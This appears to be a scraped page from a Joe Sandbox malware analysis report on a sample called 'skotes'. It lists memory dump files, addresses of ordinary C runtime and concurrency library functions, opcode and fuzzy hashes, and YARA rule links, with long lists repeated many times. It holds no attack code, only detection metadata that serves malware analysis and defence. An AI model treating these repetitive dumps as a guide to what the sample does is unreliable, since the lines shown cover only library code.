Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: bf9d70bf35e3d479848032f4de7b83bab5195893ecadf1464f5d72adca9041f5
Instruction ID: 7dc93097ba36fd19c345839c6bc963e5b51b912cb533bf29db1e2008f120e370
Opcode Fuzzy Hash: bf9d70bf35e3d479848032f4de7b83bab5195893ecadf1464f5d72adca9041f5
Instruction Fuzzy Hash: 4501A271600522AFDA36BBA8D886F69BF6ABF84750700012BF50497752DB20EC21DBA0

Function 005DEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 005DEE6A
ListArray.LIBCONCRT ref: 005DEE7C

Part of subcall function 005DEF29: _InternalDeleteHelper.LIBCONCRT ref: 005DEF3B

ListArray.LIBCONCRT ref: 005DEE86
_InternalDeleteHelper.LIBCONCRT ref: 005DEE9F

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: feee73c32697c1c68bc9a8ab72e18e64f0fec090ee49a0492b3fa6b3f0e131e9
Instruction ID: ca24743fcc5ec23e79137dfafd3fdd1efaf6f1f96b68693f4878b05588699347
Opcode Fuzzy Hash: feee73c32697c1c68bc9a8ab72e18e64f0fec090ee49a0492b3fa6b3f0e131e9
Instruction Fuzzy Hash: F701A271200623AFDA35BB68C887E6ABF6AFFC4710700042BF5049B752CB20FC11C6A0

Function 005DD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 005DD0C5
ListArray.LIBCONCRT ref: 005DD0D7

Part of subcall function 005DC6B2: _InternalDeleteHelper.LIBCONCRT ref: 005DC6C4

ListArray.LIBCONCRT ref: 005DD0E1
_InternalDeleteHelper.LIBCONCRT ref: 005DD0FA

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: c62740cbdede6a2dd2ba16e2894cfcbd091cb11a09e69c3f216d1aca49daf7e5
Instruction ID: d12b52b1cbff9bf5057d3a0a7f7ef4e45eeba5261514fae3158bc5a56e9e7e16
Opcode Fuzzy Hash: c62740cbdede6a2dd2ba16e2894cfcbd091cb11a09e69c3f216d1aca49daf7e5
Instruction Fuzzy Hash: F901A271200523AFDA367BA8C98AE6DBF7ABFC4710700142BF90097751DB20EC52C6A0

Function 005E33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 005E33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 005E33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 005E3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 005E341F

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 64201e83866f0d47dd15a78f9bd4738862a9c176ecd31fdcd122a8ad2ebd73f3
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 6101F732600555A7CF1AEE56884DEAF7F99BF84310F100456FC51AB381DA70EE0096E0

Function 005D9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 005D9519

Part of subcall function 005CF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 005D5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 005D953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 005D9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 005D9559

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 67728d1a4edff25ab664947b59c98ba80b7378ce2219951706d911d911aef02a
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: BAF0A770200A115FE676AB5D9815F6A2B95BF80715F00842FE45B97382CE64E842CB50

Function 005EF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 005EF3A3

Strings

`'a, xrefs: 005EF375
8"a, xrefs: 005EF44B

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
